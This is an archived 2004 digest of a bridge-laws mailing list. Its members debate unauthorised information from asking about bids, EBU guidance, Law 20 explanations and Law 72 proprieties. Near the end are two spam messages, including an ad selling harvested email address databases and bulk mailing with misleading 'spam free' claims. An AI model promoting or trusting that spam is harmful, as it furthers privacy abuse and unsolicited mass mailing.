Silver Spring MD 20910-1607 From gesta@tiscali.co.uk Fri Mar 12 07:28:26 2004 From: gesta@tiscali.co.uk (gesta@tiscali.co.uk) Date: Fri, 12 Mar 2004 07:28:26 -0000 Subject: Fw: [blml] Explain References: <5.2.0.9.0.20040310145607.009f1b20@pop.starpower.net> <5.2.0.9.0.20040311154938.02162930@pop.starpower.net> Message-ID: <000701c40803$bfde2f70$09e1403e@multivisionoem> Grattan Endicott To: "Bridge Laws Discussion List" Sent: Thursday, March 11, 2004 9:05 PM Subject: Re: Fw: [blml] Explain > > >If we accept that position then equally > >the enquirer's partner enjoys the same absence of > >inference, removing any basis for UI arising from the > >question. > > This statement, though, I don't understand at all. If, for example, we > were to add some words to L20F1 along the lines of, "Any inferences by > a player as to the reasons for an opponent's requesting (or not > requesting) an explanation are taken entirely at his own risk," that > would clearly make L73F2 inapplicable to asking about the auction, but > I don't see how that would have any effect on the obligations of the > asker's partner, or on the footnoted reference to L16. > > +=+ I am not opposed to changing the law. But we have not done so yet. ~ G ~ +=+ From Frances.Hinden@Shell.com Fri Mar 12 09:04:03 2004 From: Frances.Hinden@Shell.com (Hinden, Frances SI-PXS) Date: Fri, 12 Mar 2004 09:04:03 -0000 Subject: [blml] Explain Message-ID: <63DD4A4F97E7DD4FBFDBEEB53EC0B3E1DB17A0@lonsc-s-031.europe.shell.com> [Nigel] In essence, the EBU Orange-Book rule simply warns=20 "...if your partner acts in a way that suggests he has taken=20 advantage of your question, then unauthorised information may=20 be deemed to have been given...". In the UK, TDs and ACs enforce this strictly.=20 Hence we EBU players are sparing about questions during the=20 auction and tend to ask only when we have a "bridge reason" i.e. the values to consider a bid. Obviously, each session,=20 there are occasions when we wish we had risked asking a=20 question, at the time a bid was made. The Orange book is particularly concerned that questions=20 may help the defence, hence it is very noticeable that when=20 an EBU expert asks about a specific bid (say, 4th suit)=20 then he doesn't want that lead. [Frances] Really? Not something I'd ever noticed. From Frances.Hinden@Shell.com Fri Mar 12 09:12:26 2004 From: Frances.Hinden@Shell.com (Hinden, Frances SI-PXS) Date: Fri, 12 Mar 2004 09:12:26 -0000 Subject: [blml] Standard Message-ID: <63DD4A4F97E7DD4FBFDBEEB53EC0B3E1DB17A1@lonsc-s-031.europe.shell.com> Robert knows of what he speaks; my experience matches his. I play a=20 lot of EHAA, which is, like Robert's system, far more natural than what=20 passes for "basic standard" bidding around here. I or my partner will=20 give a brief synopsis (takes about 30-45 seconds) when we sit down,=20 alert as required (or a bit more; we have one or two things we consider=20 unusual enough to alert even though it is not technically required,=20 like 2NT in response to a weak two natural but not forcing), and answer=20 any questions freely and without reservation. We get a lot of=20 questions, and the replies very, very rarely have any possible effect=20 on the asker's choice of call. People ask out of interest, curiosity,=20 and a general desire to understand what's going on. This doesn't seem=20 to cause any problems. To tell people that they shouldn't do this=20 would seem arbitrary, unnatural and unneccessary. Eric Landau ehaa@starpower.net 1107 Dale Drive (301) 608-0347 Silver Spring MD 20910-1607=20 [Frances] People criticising the EBU seem to have missed the point. It's not a regulation, it's a piece of advice. The advice is that if you ask during the auction, you may be giving partner UI. Does anyone say that isn't true? It aims to stop people asking pointed questions and then getting cross when they are ruled against. This seems a very sound ambition to me. This country at least is full of people who don't fully understand (or want to understand) the laws, so simple ways to avoid nasty rulings are a good idea. The following happened to my husband at our local club a few weeks ago: He & his partner made 6H+1. Before making the final pass, declarer's RHO had asked about the 5C response to 4NT (but not about anything = else). Opening leader lead a trump. A club lead would have held it to = contract. After the hand, RHO said to LHO "didn't you hear me ask about the 5C = bid? Why didn't you lead a club?". =20 It's people like that at whom the advice is aimed.=20 From hermandw@hdw.be Fri Mar 12 09:31:13 2004 From: hermandw@hdw.be (Herman De Wael) Date: Fri, 12 Mar 2004 10:31:13 +0100 Subject: [blml] Explain In-Reply-To: References: <000f01c404e1$3d10a430$ab05e150@multivisionoem> <003301c4056b$d2305940$08284cd5@kocurzak> Message-ID: <40518361.7010101@hdw.be> Jaap van der Neut wrote: > Conrad: > >>In Poland we have 16 teams in the First Division, 4 x 16 in the Second >>and 16 x ( 12-18 ) teams in the Third. That amounts to more than >>300 teams in the first 3 divisions. All of them play with screens. >>Also the trials all played with screens almost from the earliest stages. >>Same goes for the MP Championships and many other major >>events. > > > Good for Poland. Poland might easily be (way) better than France or any > NCBO. You state your top 300 teams play with screens. In France I don't > know, the accounting is hard given their organization structure (also at top > regional level they use screens) but probaly the number is comparable to > Poland. But in Holland it is only 38 teams (top 2 levels). > In Belgium all 92 national teams, and most of the top 48 flemish ones, play with screens. > -- Herman DE WAEL Antwerpen Belgium http://www.hdw.be From gordon@gordonrainsford.co.uk Fri Mar 12 09:35:38 2004 From: gordon@gordonrainsford.co.uk (Gordon Rainsford) Date: Fri, 12 Mar 2004 09:35:38 +0000 Subject: [blml] Standard In-Reply-To: <63DD4A4F97E7DD4FBFDBEEB53EC0B3E1DB17A1@lonsc-s-031.europe.shell.com> References: <63DD4A4F97E7DD4FBFDBEEB53EC0B3E1DB17A1@lonsc-s-031.europe.shell.com> Message-ID: <9F1B1DD8-7408-11D8-8953-0003936A6522@gordonrainsford.co.uk> On 12 Mar 2004, at 09:12, Hinden, Frances SI-PXS wrote: > [Frances] > People criticising the EBU seem to have missed the point. > It's not a regulation, it's a piece of advice. The advice is that if > you ask during the auction, you may be giving partner UI. Does anyone > say that isn't true? Yes. If you always ask, you don't give UI. If you ask randomly, you don't give UI (though I accept it can be hard to assess the randomness of the questions). If you only ask when you have an interest (as is EBU practice), you DO give UI, whether you ask or not. -- Gordon Rainsford London UK From nigel.guthrie@ntlworld.com Fri Mar 12 10:36:56 2004 From: nigel.guthrie@ntlworld.com (Nigel Guthrie) Date: Fri, 12 Mar 2004 10:36:56 -0000 Subject: [blml] Standard References: <63DD4A4F97E7DD4FBFDBEEB53EC0B3E1DB17A1@lonsc-s-031.europe.shell.com> <9F1B1DD8-7408-11D8-8953-0003936A6522@gordonrainsford.co.uk> Message-ID: <008001c4081d$f218c580$6a9868d5@tinyhrieuyik> [Gordon Rainsford] If you ask randomly, you don't give UI (though I accept it can be hard to assess the randomness of the questions). [Nigel] Many seem to agree with Gordon. I suppose, in principle, this would work if you decided whether or not to ask before looking at your hand; In practice, however, you must ask when you are considering a bid and the meaning of an opponent's bid will affect your decision whether to bid. Hence, in practice, your questions are never random. Also, there is still the UI that when you *refrain* from asking, then you lack the values to consider competition. Minimum UI is achieved by "Never asking". "Always asking" is next best. Random asks give only slightly less UI than the EBU guidelines and are much more difficult to police. I fear Frances is right -- most people are comfortable with local customs, especially if visitors suffer a disadvantage. --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.619 / Virus Database: 398 - Release Date: 10/03/2004 From twm@cix.co.uk Fri Mar 12 10:42:00 2004 From: twm@cix.co.uk (Tim West-Meads) Date: Fri, 12 Mar 2004 10:42 +0000 (GMT Standard Time) Subject: [blml] Re: (blml) Should you point out infractions In-Reply-To: <404DD985.4080903@fe.up.pt> Message-ID: Fernando wrote >> (another change I'd like >> to see in the laws is for TDs to be able to waive penalties "on >> request" rather than "for cause"). > I may be wrong but I believe Law 81C -8 allows the TD to do so on > request of NOS L81c. Waiver of Penalties to waive penalties for cause, at his discretion, upon the request of the non-offending side. The problem, from my PoV is that the law contains the words "for cause" as well as "upon the request" - imply that *both* a cause and a request are necessary. I would prefer the words "for cause" to be deleted. Tim From jaap.vander.neut@noos.fr Fri Mar 12 11:30:09 2004 From: jaap.vander.neut@noos.fr (Jaap van der Neut) Date: Fri, 12 Mar 2004 12:30:09 +0100 Subject: [blml] Standard References: <63DD4A4F97E7DD4FBFDBEEB53EC0B3E1DB17A1@lonsc-s-031.europe.shell.com> <9F1B1DD8-7408-11D8-8953-0003936A6522@gordonrainsford.co.uk> <008001c4081d$f218c580$6a9868d5@tinyhrieuyik> Message-ID: <002d01c40825$69aa7f10$8a5b4151@yourhpbmye9tmb> > [Gordon Rainsford] > If you ask randomly, you don't give UI (though I accept > it can be hard to assess the randomness of the questions). > [Nigel] > Many seem to agree with Gordon. I suppose, in principle, > this would work if you decided whether or not to ask > before looking at your hand; Random is not really random. Most normal players tend to ask when something is alerted whether or not they are interested in bidding right now. The main reason not to ask is that you don't want one opp to hear the answer to your question. This is not random of course, there is some UI from this 'decision' not to ask. But this is rather an 'insult' than something which helps partner. Because in line with Nigel, this consideration has normally nothing to do with your own holding. Jaap ----- Original Message ----- From: "Nigel Guthrie" To: Sent: Friday, March 12, 2004 11:36 AM Subject: Re: [blml] Standard > [Gordon Rainsford] > If you ask randomly, you don't give UI (though I accept > it can be hard to assess the randomness of the questions). > > [Nigel] > Many seem to agree with Gordon. I suppose, in principle, > this would work if you decided whether or not to ask > before looking at your hand; > > In practice, however, you must ask when you are considering > a bid and the meaning of an opponent's bid will affect your > decision whether to bid. Hence, in practice, your questions > are never random. Also, there is still the UI that when you > *refrain* from asking, then you lack the values to consider > competition. > > Minimum UI is achieved by "Never asking". "Always asking" > is next best. Random asks give only slightly less UI than > the EBU guidelines and are much more difficult to police. > > I fear Frances is right -- most people are comfortable with > local customs, especially if visitors suffer a disadvantage. > > > > --- > Outgoing mail is certified Virus Free. > Checked by AVG anti-virus system (http://www.grisoft.com). > Version: 6.0.619 / Virus Database: 398 - Release Date: 10/03/2004 > > _______________________________________________ > blml mailing list > blml@rtflb.org > http://www.amsterdamned.org/mailman/listinfo/blml > From nigel.guthrie@ntlworld.com Fri Mar 12 13:49:10 2004 From: nigel.guthrie@ntlworld.com (Nigel Guthrie) Date: Fri, 12 Mar 2004 13:49:10 -0000 Subject: [blml] Standard References: <63DD4A4F97E7DD4FBFDBEEB53EC0B3E1DB17A1@lonsc-s-031.europe.shell.com> <9F1B1DD8-7408-11D8-8953-0003936A6522@gordonrainsford.co.uk> <008001c4081d$f218c580$6a9868d5@tinyhrieuyik> <002d01c40825$69aa7f10$8a5b4151@yourhpbmye9tmb> Message-ID: <025301c40838$cc83d880$6a9868d5@tinyhrieuyik> [Jaap van der Neut] Random is not really random. Most normal players tend to ask when something is alerted whether or not they are interested in bidding right now. The main reason not to ask is that you don't want one opp to hear the answer to your question. [Nigel] I agree, Jaap, that it makes little sense to ask "randomly". Your suggestion seems reasonable but, as you say, it is not "random" either. When you refrain from asking you transmit the UI that you lack the values to seriously consider a bid. Even when you do ask, you still transmit more UI than you would if you always asked or never asked. BTW, installing a screen on every table is not the answer, except at high levels. I enjoy face-to-face Bridge but IMO a far better alternative to screens is on-line Bridge. --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.619 / Virus Database: 398 - Release Date: 10/03/2004 From gordon@gordonrainsford.co.uk Fri Mar 12 17:15:01 2004 From: gordon@gordonrainsford.co.uk (Gordon Rainsford) Date: Fri, 12 Mar 2004 17:15:01 +0000 Subject: [blml] Standard In-Reply-To: <002d01c40825$69aa7f10$8a5b4151@yourhpbmye9tmb> References: <63DD4A4F97E7DD4FBFDBEEB53EC0B3E1DB17A1@lonsc-s-031.europe.shell.com> <9F1B1DD8-7408-11D8-8953-0003936A6522@gordonrainsford.co.uk> <008001c4081d$f218c580$6a9868d5@tinyhrieuyik> <002d01c40825$69aa7f10$8a5b4151@yourhpbmye9tmb> Message-ID: On 12 Mar 2004, at 11:30, Jaap van der Neut wrote: > Most normal players tend to ask when something is alerted whether or > not > they are interested in bidding right now. That is not so in the EBU, which is the whole point of this sub-thread. The general culture is one where people are discouraged from asking, so most players ask only if they need to know the answer in order to make a decision about their current call. -- Gordon Rainsford London UK From ereppert@rochester.rr.com Fri Mar 12 19:38:52 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Fri, 12 Mar 2004 14:38:52 -0500 Subject: [blml] Standard In-Reply-To: <63DD4A4F97E7DD4FBFDBEEB53EC0B3E1DB17A1@lonsc-s-031.europe.shell.com> Message-ID: On Friday, Mar 12, 2004, at 04:12 US/Eastern, Hinden, Frances SI-PXS wrote: > After the hand, RHO said to LHO "didn't you hear me ask about the 5C > bid? > Why didn't you lead a club?". I had a similar thing happen with a sometime partner a couple of years ago. My answer was, in effect "I didn't lead a club because you asked about the bid." IIRC, that was the last time we played together. :-) From ereppert@rochester.rr.com Fri Mar 12 19:43:06 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Fri, 12 Mar 2004 14:43:06 -0500 Subject: [blml] Standard In-Reply-To: <008001c4081d$f218c580$6a9868d5@tinyhrieuyik> Message-ID: <7BE165DF-745D-11D8-A936-0030656F6826@rochester.rr.com> On Friday, Mar 12, 2004, at 05:36 US/Eastern, Nigel Guthrie wrote: > In practice, however, you must ask when you are considering > a bid and the meaning of an opponent's bid will affect your > decision whether to bid. It seems to me, though I grant I may be wrong, that the procedure defined in law 20, while perhaps cumbersome, is at least designed to mask interest in a specific call. I suppose we could argue whether this mitigates UI sufficiently (or at all) but the question in my mind at the moment is "why isn't Law 20 part of this discussion?" From ereppert@rochester.rr.com Fri Mar 12 19:45:18 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Fri, 12 Mar 2004 14:45:18 -0500 Subject: [blml] Re: (blml) Should you point out infractions In-Reply-To: Message-ID: On Friday, Mar 12, 2004, at 05:42 US/Eastern, Tim West-Meads wrote: > L81c. Waiver of Penalties > to waive penalties for cause, at his discretion, upon the request of > the > non-offending side. > > The problem, from my PoV is that the law contains the words "for > cause" as > well as "upon the request" - imply that *both* a cause and a request > are > necessary. I would prefer the words "for cause" to be deleted. The inference I draw here is that there are penalties "for cause" and penalties "not for cause". What penalties fall into the latter category? From siegmund@mosquitonet.com Fri Mar 12 19:20:16 2004 From: siegmund@mosquitonet.com (Gordon Bower) Date: Fri, 12 Mar 2004 10:20:16 -0900 (AKST) Subject: [blml] Standard In-Reply-To: <63DD4A4F97E7DD4FBFDBEEB53EC0B3E1DB17A1@lonsc-s-031.europe.shell.com> Message-ID: On Fri, 12 Mar 2004, Hinden, Frances SI-PXS wrote: > [Frances] > People criticising the EBU seem to have missed the point. > It's not a regulation, it's a piece of advice. The advice is that if > you ask during the auction, you may be giving partner UI. Does anyone > say that isn't true? It aims to stop people asking pointed questions > and then getting cross when they are ruled against. This seems a very > sound ambition to me. The ambition is sound. Yes, asking during the auction may give partner UI. The problem is that the EBU advice does exactly the opposite of its aim. By advising you only to ask when you have an immediate need for the information, *they have turned all questions during the auction into pointed questions*. There are normally any number of reasons someone might ask a question, and very little chance that a question will demonstrably suggest anything. By advising people to ask questions for one reason only, you assure that a much larger proportion of questions will demonstrably suggest something. GRB From nigel.guthrie@ntlworld.com Fri Mar 12 21:41:27 2004 From: nigel.guthrie@ntlworld.com (Nigel Guthrie) Date: Fri, 12 Mar 2004 21:41:27 -0000 Subject: [blml] Standard References: <7BE165DF-745D-11D8-A936-0030656F6826@rochester.rr.com> Message-ID: <00c001c4087a$c6f9aba0$3a9868d5@tinyhrieuyik> [Ed Reppert] It seems to me, though I grant I may be wrong, that the procedure defined in law 20, while perhaps cumbersome, is at least designed to mask interest in a specific call. I suppose we could argue whether this mitigates UI sufficiently (or at all) but the question in my mind at the moment is "why isn't Law 20 part of this discussion?" [Nigel] I agree, Ed, that Law 20 defines correct procedure under the current laws. You should ask about the auction, not about a particular bid. The "Explain Protocol" is simpler. It accomplishes the same effect more quickly and with less UI, because it saves the time wasted in alerting and asking questions. [TFLB L20] During the auction and before the final pass, any player, at his own turn to call, may request a full explanation of the opponents' auction (questions may be asked about calls actually made or about relevant calls available but not made); replies should normally be given by the partner of a player who made a call in question (see Law 75C). --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.619 / Virus Database: 398 - Release Date: 10/03/2004 From richard.hills@immi.gov.au Fri Mar 12 22:41:05 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Sat, 13 Mar 2004 08:41:05 +1000 Subject: [blml] ethics or Ethics (was Should ... infractions) Message-ID: W.S. Gilbert (The Pirates of Penzance) wrote: >We've quips and quibbles heard in flocks, > But none to beat this paradox! > A paradox, a paradox, > A most ingenious paradox! Richard James Hills paradoxes: Suppose that a player inadvertently claims too many tricks, and that the opponents accept the claim. Suppose that the player later realises (before the correction period has expired) their own claim was an inadvertent infraction. Law 72A2 states that, "A player must not knowingly accept either the score for a trick that his side did not win or the concession of a trick that his opponents could not lose." Law 72B3 states that, "There is no obligation to draw attention to an inadvertent infraction of law committed by one's own side (but see footnote to Law 75 for a mistaken explanation)." Which of these two Proprieties has primacy? Best wishes RJH -----------------------------------------------------------------------= --------------- Important Warning: If you have received this email in error, please advise the sender and delete the message and attachments immediately. =A0= This email, including attachments, may contain confidential, legally privile= ged and/or copyright information, the unauthorised use of which is prohibit= ed. Any views expressed in this email are those of the individual sender, except where the sender expressly, and with authority, states them to b= e the view of the Department of Immigration and Multicultural and Indigen= ous Affairs (DIMIA). =A0DIMIA respects your privacy and has obligations und= er the Privacy Act 1988 (see www.immi.gov.au). -----------------------------------------------------------------------= ---------------= From nigel.guthrie@ntlworld.com Fri Mar 12 22:10:18 2004 From: nigel.guthrie@ntlworld.com (Nigel Guthrie) Date: Fri, 12 Mar 2004 22:10:18 -0000 Subject: [blml] Standard References: Message-ID: <00c601c4087e$ceb841e0$3a9868d5@tinyhrieuyik> [Ed Reppert] I had a similar thing happen with a sometime partner a couple of years ago. My answer was, in effect "I didn't lead a club because you asked about the bid." IIRC, that was the last time we played together. :-) [Nigel] IMO, this way madness lies. It exemplifies my criticism of the current alert/ask protocols, as practically implemented by experienced players... ... If you ask then you don't want the lead. ... If you don't ask then you do. IMO, Ed's comments on Law 20 are right. Opponents should explain either... ... None of their bids or ... All the "alertable" bids in their auction. All you need is an "Explain card". There is less UI if each partnership must decide whether or not they want explanations, before a set of boards. The biggest bonus may accrue to a partnership who *don't* face their *Explain card*. Without any alerts or explanations, opponents cannot exchange their usual UI. The auction is also fast but you still have to wait for an explanation of the auction before the opening lead. --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.619 / Virus Database: 398 - Release Date: 10/03/2004 From ereppert@rochester.rr.com Fri Mar 12 22:31:08 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Fri, 12 Mar 2004 17:31:08 -0500 Subject: [blml] ethics or Ethics (was Should ... infractions) In-Reply-To: Message-ID: On Friday, Mar 12, 2004, at 17:41 US/Eastern, richard.hills@immi.gov.au wrote: > Suppose that a player inadvertently claims > too many tricks, and that the opponents accept > the claim. Suppose that the player later > realises (before the correction period has > expired) their own claim was an inadvertent > infraction. > > Law 72A2 states that, "A player must not > knowingly accept either the score for a trick > that his side did not win or the concession of > a trick that his opponents could not lose." > > Law 72B3 states that, "There is no obligation > to draw attention to an inadvertent infraction > of law committed by one's own side (but see > footnote to Law 75 for a mistaken explanation)." > > Which of these two Proprieties has primacy? The question rests on the assumption that to claim more tricks than those to which one is entitled is an infraction. But which law is violated thereby? Oh, it is certainly true that Law 72A2 is violated if the claim is made knowing that one is not entitled to those tricks, but it is not violated if it is done inadvertantly. So which law, in that case? From ereppert@rochester.rr.com Fri Mar 12 22:40:58 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Fri, 12 Mar 2004 17:40:58 -0500 Subject: [blml] Standard In-Reply-To: <00c601c4087e$ceb841e0$3a9868d5@tinyhrieuyik> Message-ID: <548A8ADA-7476-11D8-A4DE-0030656F6826@rochester.rr.com> On Friday, Mar 12, 2004, at 17:10 US/Eastern, Nigel Guthrie wrote: > IMO, Ed's comments on Law 20 are right. Opponents should > explain either... > ... None of their bids or > ... All the "alertable" bids in their auction. That's not what law 20 says. You know, I was thinking about this the other day, and it occurred to me that when there is an uncomplicated auction, most players are (or should be) capable of forming a reasonably accurate mind picture of opponents' hands. Which is, after all, what most players need in playing the hand. It's when the auction gets complex, with inferences and implications specific to the partnership, that such visualization becomes difficult. The principle of full disclosure then says one should make all such specifics known to the opponents, thus reducing (or eliminating?) the difficulty. So it seems to me that when I ask "please explain your auction" I don't really want to hear "this call means X, that one means Y", what I want to hear is, "on this auction, partner has X and Y and Z, but not R and S." From both opponents. Is this unreasonable? If so, why? > All you need is an "Explain card". Nigel has the bit in his teeth again. :-) From nigel.guthrie@ntlworld.com Fri Mar 12 23:04:59 2004 From: nigel.guthrie@ntlworld.com (Nigel Guthrie) Date: Fri, 12 Mar 2004 23:04:59 -0000 Subject: [blml] ethics or Ethics (was Should ... infractions) References: Message-ID: <00df01c40886$726e7d20$3a9868d5@tinyhrieuyik> >>> [Richard James Hills] >>> Suppose that a player inadvertently claims too many >>> tricks, and that the opponents accept the claim. >>> Suppose that the player later realises (before the >>> correction period has expired) their own claim was >>> an inadvertent infraction. >>> Which of the two Proprieties below has primacy? >> [TFLB L72A2] >> A player must not knowingly accept either the score for >> a trick that his side did not win or the concession of >> a trick that his opponents could not lose." [TFLB L72B3] >> There is no obligation to draw attention to an inadvertent >> infraction of law committed by one's own side (but see >> footnote to Law 75 for a mistaken explanation)." > [Ed Repert] > The question rests on the assumption that to claim more > tricks than those to which one is entitled is an infraction. > But which law is violated thereby? Oh, it is certainly true > that Law 72A2 is violated if the claim is made knowing that > one is not entitled to those tricks, but it is not violated > if it is done inadvertantly. So which law, in that case? [Nigel] IMO Ed's argument shows that, inadvertant or not, L72A2 has primacy; but as usual, TFLB could do with a translation into simple English. --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.619 / Virus Database: 398 - Release Date: 10/03/2004 From nigel.guthrie@ntlworld.com Sat Mar 13 00:50:58 2004 From: nigel.guthrie@ntlworld.com (Nigel Guthrie) Date: Sat, 13 Mar 2004 00:50:58 -0000 Subject: [blml] Standard References: <548A8ADA-7476-11D8-A4DE-0030656F6826@rochester.rr.com> Message-ID: <015b01c40895$4053ce80$3a9868d5@tinyhrieuyik> [Ed Reppert] That's not what law 20 says. You know, I was thinking about this the other day, and it occurred to me that when there is an uncomplicated auction, most players are (or should be) capable of forming a reasonably accurate mind picture of opponents' hands. Which is, after all, what most players need in playing the hand. It's when the auction gets complex, with inferences and implications specific to the partnership, that such visualization becomes difficult. The principle of full disclosure then says one should make all such specifics known to the opponents, thus reducing (or eliminating?) the difficulty. So it seems to me that when I ask "please explain your auction" I don't really want to hear "this call means X, that one means Y", what I want to hear is, "on this auction, partner has X and Y and Z, but not R and S." From both opponents. Is this unreasonable? If so, why? [Nigel] I was *agreeing* with you, Ed :) and I did quote the relevant bit of Law 20, word for word, in the previous email :) I'm afraid that I also agree completely with what you say in this email. I even concede that your suggestion takes *less time* than explaining bid by bid. In a previous thread, I gave an example to re-enforce your argument. (The puppet Stayman auction 2N-3C-; 3D-3H-; 3N where inferences aren't obvious to everybody, from a bid by bid explanation). --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.619 / Virus Database: 398 - Release Date: 11/03/2004 From nigel.guthrie@ntlworld.com Sat Mar 13 01:13:24 2004 From: nigel.guthrie@ntlworld.com (Nigel Guthrie) Date: Sat, 13 Mar 2004 01:13:24 -0000 Subject: [blml] Standard Message-ID: <018401c40898$629ca220$3a9868d5@tinyhrieuyik> > [Ed Reppert] > That's not what law 20 says... > ...So it seems to me that when I ask "please explain your > auction" I don't really want to hear "this call means X, > that one means Y", what I want to hear is, "on this auction, > partner has X and Y and Z, but not R and S." From both > opponents. Is this unreasonable? If so, why? [Nigel - further clarification ] Law 20 does seem to favour a bid by bid explanation but I agree that Ed's latter concept at defining full disclosure is a distinct improvement and the law book needs amendment. --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.619 / Virus Database: 398 - Release Date: 11/03/2004 From ereppert@rochester.rr.com Sat Mar 13 05:09:16 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Sat, 13 Mar 2004 00:09:16 -0500 Subject: [blml] Standard In-Reply-To: <015b01c40895$4053ce80$3a9868d5@tinyhrieuyik> Message-ID: <9358F0FA-74AC-11D8-A4DE-0030656F6826@rochester.rr.com> On Friday, Mar 12, 2004, at 19:50 US/Eastern, Nigel Guthrie wrote: > I was *agreeing* with you, Ed :) and I did quote the relevant > bit of Law 20, word for word, in the previous email :) Ah. Okay. :-) > I'm afraid that I also agree completely with what you say in > this email. I even concede that your suggestion takes > *less time* than explaining bid by bid. > > In a previous thread, I gave an example to re-enforce your > argument. (The puppet Stayman auction 2N-3C-; 3D-3H-; 3N > where inferences aren't obvious to everybody, from a bid > by bid explanation). Perhaps we should consider educating players to this way of thinking about explanations. :-) From ereppert@rochester.rr.com Sat Mar 13 05:10:22 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Sat, 13 Mar 2004 00:10:22 -0500 Subject: [blml] Standard In-Reply-To: <016d01c40896$d1b2f760$3a9868d5@tinyhrieuyik> Message-ID: On Friday, Mar 12, 2004, at 20:01 US/Eastern, Nigel Guthrie wrote: > Further clarification... > I agree that currently law 20 recommends the former. > I agree that your latter idea of full disclosure is far > better and the law book needs urgent correction on this > matter. Okay, now all we have to do is beat the drafting subcommittee into submission. :-) From jim_datonal@mail333.com Sat Mar 13 15:10:05 2004 From: jim_datonal@mail333.com (Bk) Date: Sat, 13 Mar 2004 15:10:05 -0000 Subject: [blml] Fwd: New, just for men! Message-ID: Natural Gain +






dequeuing , running From svenpran@online.no Sat Mar 13 09:26:23 2004 From: svenpran@online.no (Sven Pran) Date: Sat, 13 Mar 2004 10:26:23 +0100 Subject: [blml] Standard In-Reply-To: <9358F0FA-74AC-11D8-A4DE-0030656F6826@rochester.rr.com> Message-ID: <000001c408dd$40c455e0$6900a8c0@WINXP> For years I have encouraged (and myself used) the question: "What are we entitled to know from your auction"? This (if any) question calls for a complete disclosure and is indisputably within the laws. Regards Sven > -----Original Message----- > From: blml-admin@rtflb.org [mailto:blml-admin@rtflb.org] On Behalf Of Ed > Reppert > Sent: 13. mars 2004 06:09 > To: blml > Subject: Re: [blml] Standard > > > On Friday, Mar 12, 2004, at 19:50 US/Eastern, Nigel Guthrie wrote: > > > I was *agreeing* with you, Ed :) and I did quote the relevant > > bit of Law 20, word for word, in the previous email :) > > Ah. Okay. :-) > > > I'm afraid that I also agree completely with what you say in > > this email. I even concede that your suggestion takes > > *less time* than explaining bid by bid. > > > > In a previous thread, I gave an example to re-enforce your > > argument. (The puppet Stayman auction 2N-3C-; 3D-3H-; 3N > > where inferences aren't obvious to everybody, from a bid > > by bid explanation). > > Perhaps we should consider educating players to this way of thinking > about explanations. :-) > > > > _______________________________________________ > blml mailing list > blml@rtflb.org > http://www.amsterdamned.org/mailman/listinfo/blml From ereppert@rochester.rr.com Sat Mar 13 17:41:08 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Sat, 13 Mar 2004 12:41:08 -0500 Subject: [blml] Standard In-Reply-To: <000001c408dd$40c455e0$6900a8c0@WINXP> Message-ID: <9C97031C-7515-11D8-9B1E-0030656F6826@rochester.rr.com> On Saturday, Mar 13, 2004, at 04:26 US/Eastern, Sven Pran wrote: > For years I have encouraged (and myself used) the question: > > "What are we entitled to know from your auction"? > > This (if any) question calls for a complete disclosure and is > indisputably > within the laws. I think I will try that. Though I predict the most frequent response I will get will be "huh?" :-( From bvce@hotmail.com Sat Mar 13 19:31:01 2004 From: bvce@hotmail.com (bvce@hotmail.com) Date: Sun, 14 Mar 2004 03:31:01 +0800 Subject: [blml] (*SPAM*) Email Marketing Message-ID: Email Marketing ! We offer you e-mail addresses databases for advertisement mailing; we sell databases also carry out mailing and hosting for the advertising projects. Products World Email Lists . Their validity and originality are verified. web site: http://202.98.223.74/soft/html/wd/wd3.htm There are some sample download Country or area total emails and price America 175 Million Email Address $220 US Europe 156 Million Email Address $250 US Asia 168 Million Email Address $150 US China(PRC) 80 Million Email Address $200 US HongKong 3.25 Million Email Address $200 US TaiWan 2.25 Million Email Address $200 US Japan 27 Million Email Address $200 US Australia 6 Million Email Address $150 US Canda 10 Million Email Address $150 US Russia 38 Million Email Address $120 US England 3.2 Million Email Address $200 US German 20 Million Email Address $200 US France 38 Million Email Address $150 US India 12 Million Email Address $120 US CENTRAL & SOUTH AMERICAN AREA 40 Million Email Address $220 US MIDDLE EAST & AFRICA 45 million Email Address $220 US SOUTH EAST AREA 32 million Email Address $220 US other Country or Area ¡­¡­¡­¡­¡­¡­ order email : emailwd3@tom.com ---------------------------------------------------------------------------- Category Name total emails total price Apparel, Fashion, Textiles and Leather 4,654,565 $150 $100 US Automobile & Transportation 6,547,845 Business Services 6,366,344 Chemicals 3,445,565 Computer & Telecommunications 654,655 Construction & Real Estate 3,443,544 Consumer Electronics 1,333,443 Energy, Minerals & Metals 6,765,683 Environment 656,533 All Email Total: 150 U.S Food & Agriculture 1,235,354 Gems & Jewellery 565,438 Health & Beauty 804,654 Home Supplies 323,232 Industrial Supplies 415,668 Office Supplies 1,559,892 Packaging & Paper 5,675,648 Printing & Publishing 6,563,445 Security & Protection 5,653,494 Sports & Entertainment 3,488,455 Toys, Gifts and Handicrafts 2,135,654 --------------------------------------------------------------------------------------------- ¡¤All 136 nations , 40 trades email lists total price $500 US --------------------------------------------------------------------------------------------- $100 US V4.03 $200 US V3.0 $200 US $100 US --------------------------------------------------------------------------------------------- ¡¤All of Country email lists + email sender express +add url express + etrae express =$600 US --------------------------------------------------------------------------------------------- Send Your Ad to Millions 5 million bulk email only for $80 order 50 million bulk email only for $200 order 100 million bulk email only for $300 order 200 million bulk email only for $500 order Imagine emailing 500,000 recipients and 1 out of every 1000 orders your product, that's 500 new orders! * We go all-out to make sure our customers are completely satisfied * If any emails fail to make delivery, we replace them free of charge * 100% Spam free, rest assured you will not be accused of spamming * Almost all of our emails are sent to valid email addresses * No software required, we do all the mailing 